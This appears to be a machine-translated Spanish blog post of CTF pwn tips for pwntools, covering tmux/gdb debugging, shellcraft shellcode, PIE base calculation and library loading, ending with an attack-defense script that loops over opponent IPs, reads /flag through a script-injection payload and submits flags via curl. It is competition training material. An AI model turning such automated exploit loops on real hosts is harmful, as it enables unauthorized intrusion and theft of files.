En las últimas competencias, he aprendido muchos consejos al escribir exp con pwntools.
1. Utilice la depuración multipantalla de TMUX
TMUX es un software de multiplexación de terminales que se utiliza para abrir varias ventanas en una terminal, lo que mejora en gran medida la eficiencia del trabajo. El uso de una máquina virtual con una interfaz gráfica durante el trabajo requiere demasiados recursos y el cambio entre diferentes versiones de libc Complex, por lo que puede optar por depurar configurando un servidor para usar el modo terminal puro, que requiere tmux para la depuración multipantalla
context.terminal = ['tmux', 'splitw', '-h']
Este código se puede dividir automáticamente en dos cuando estamos depurando, agregando una ventana para mostrar el contenido de depuración de GDB
2. Entorno operativo designado
Puede utilizar muchas herramientas que vienen con pwntools para generar shellcode después de haber desarrollado el entorno operativo
context(arch = 'amd64' , os = 'linux', log_level="debug")
En context
especificado os
y arch
solo se puede invocar así, o de lo contrario debe escribir shellcraft.amd64.linux.sh()
.
shellcraft.sh()
:
Para la generación actual os
y arch
puede ser un período getshell
de shellcode
poco uso esta característica, por lo que shellcode
recomendamos exploitdb
ir directamente
Pero, de hecho, exploitdb
los shellcode
escritos también, en general, se puede escribir, por ejemplo, 64
cuando el bit, sólo para hacer rdi
un puntero a un depósito con puntero "/bin/sh\x00"
y, a continuación rsi
, y rdx
en casa 0
, y luego dejar rax
que 0x3b
finalmente se llame syscall
se
shellcraft.pushstr()
:
Genere push
una cadena que se pueda especificar shellcode
, porque escribir una push
cadena usted mismo es en realidad una operación muy complicada. Por ejemplo, si desea push
un párrafo de "/home/t1an5t/pwn/flag"
este tipo, debe estar familiarizado con el espacio de la pila y ajustarlo varias veces. tiene una rueda, solo úsela.
shellcraft.cat()
:
Genera que puede leer directamente el archivo especificadoshellcode
Cuando escribe esto usted mismo shellcode
, generalmente usa open()
-> read()
-> write()
para leer e imprimir
Y este cat()
comando le ayuda a simplificar esta operación, pero en realidad llama open()
-> sendfileto()
esta combinación
Tres, cálculo de dirección PIE abierto
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
Solo podemos obtener la dirección relativa en el análisis estático de IDA, pero la dirección real es la dirección base + la dirección relativa después de la reubicación después de que se ejecuta el programa. Este código se utiliza para obtener automáticamente la dirección base después de que el programa activa la aleatorización de la dirección PIE y obtiene la dirección física real final a través de la dirección relativa y el punto de interrupción aquí.
O puede obtener la dirección base de esta manera y calcularla manualmente
def get_proc_base(p):
proc_base = p.libs()[p._cwd+p.argv[0].strip('.')]
return proc_base
En cuarto lugar, la elección de diferentes bibliotecas de carga de bibliotecas.
# 正常的调用
p = process('./elf')
# 指定libc的调用,当然,如果你本地的ld.so搞不定libc,这种方法也会报错
p = process('./elf', env={
'LD_PRELOAD':'./libc.so.6'})
# starctf2019里见到的
pwn_file="./lib/ld-2.29.so --library-path ./lib/ ./babyheap"
p = process(pwn_file.split())
Cinco, adjuntar
Acostumbrado gdb
a attach
tiempo, generalmente agregado en una posición correspondiente a:
gdb.attach(p, cmd)
Esto es cmd
equivalente al comando que emitió attach
después del proceso gdb
. Si desea emitir varios comandos, recuerde agregar un \n
retorno de carro simulado, como:
cmd = "b main\n"
cmd += "set $a = 0x8048000\n"
gdb.attach(p, cmd)
Pero tenga en cuenta que, de hecho gdb attach
, su programa no se detendrá como usted desea, continuará ejecutando el código.
Entonces, en general, mi costumbre es atatch
agregar una oración después pause()
, para asegurarme de pause()
que python
no se llamará al siguiente código en el ** nivel **.
Entonces, generalmente escribo la función de depuración de la siguiente manera:
def debug(cmd=""):
gdb.attach(p, cmd)
pause()
Luego, escríbalo debug()
al comienzo de la interacción y luego escriba una línea debajo del lugar donde debe detenerse.pause()
Este tipo de pause()
redacción adicional , si desea ejecutar hacia abajo, debe ejecutar el comando en la terminal attach
existente , y luego regresar a la gdb
terminal donde se c
está ejecutando el programa y presionar Enter. El número de retornos determina cuántos desea ejecutar hacia abajo pause()
. Continúa, simplemente desconectados en gdb
el terminal ctrl+C
. Luego, repita el proceso si desea continuar.
Al configurar ciertas variables, esto se usa generalmente set $a=...
, y luego gdb
puede usar x/(numbs)(type) $a
esto para ver la memoria en él:
x/32gx $a
x/24wx $a
x/16b $a
x/8c $a
... ...
El problema del montón normal almacenará el puntero del bloque de montón y quizás otra información en el bss
segmento. Si se IDA
muestra como 0x202010
, entonces podemos establecer:
cmd = '''set $a=%d''' %(proc_base+0x202010)
Para un problema de montón un poco más complicado, se puede abrir un espacio para almacenar punteros al bloque de montón durante la inicialización, y luego los punteros a este espacio bss
se pueden almacenar de esta manera. En este momento, puede usar este método para establecer:
cmd = '''set $a=*(long*)(%s)''' % hex(proc_base+0x202110)
Seis, modo AD
Un ejemplo de modo AD EXP. Complete la IP de la caja de juego del oponente en el archivo ip.txt, y luego complete la URL de la interfaz para enviar automáticamente la bandera, así como su propio token. Escriba el exploit real exp en el archivo principal función, para que pueda darse cuenta de que me hice una bandera
from pwn import *
context.arch='amd64'
# context.log_level='debug'
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{
{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
def main(host,port=16957):
global p
if host:
p=remote(host,port)
else:
p=process("./pwn")
# gdb.attach(p)
debug(0x00000000000739D)
code = """string readfile(string name);string lnk(string src, string dest);string print(string x);lnk("/flag", "/tmp/y");print(readfile("/tmp/y"));"""
p.recvuntil("size: ")
p.sendline(str(len(code)+2))
p.recvuntil("Give me your script(same size): ")
p.sendline(code)
try:
p.recvuntil("flag",timeout=0.5)
flag = "flag" + p.recvuntil("\n",timeout=0.5)
info(flag)
p.close()
return flag
except Exception,err:
print err
p.close()
return "bad_luck"
p.interactive()
if __name__ == '__main__':
# libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
# main("123.57.209.176")
# main("172.20.0.27")
ips = [i.strip() for i in open("ip.txt","rb").readlines()]
while(1):
for ip in ips:
try:
sleep(1)
flag = main(ip)
# flag = main(args["REMOTE"])
info(flag)
url = 'https://172.20.1.1/Answerapi/sub_answer_api'
token = 'token78s8gbv55k4b03'
cmds = 'curl -k {} -d "answer={}&playertoken={}"'.format(url,flag.strip(),token)
print cmds
if 'flag' in cmds:
os.system(cmds)
except Exception,err:
p.close()
print err
continue
sleep(30)
Siete, artículos de referencia
Hay muchas referencias a los artículos del maestro t1an5t: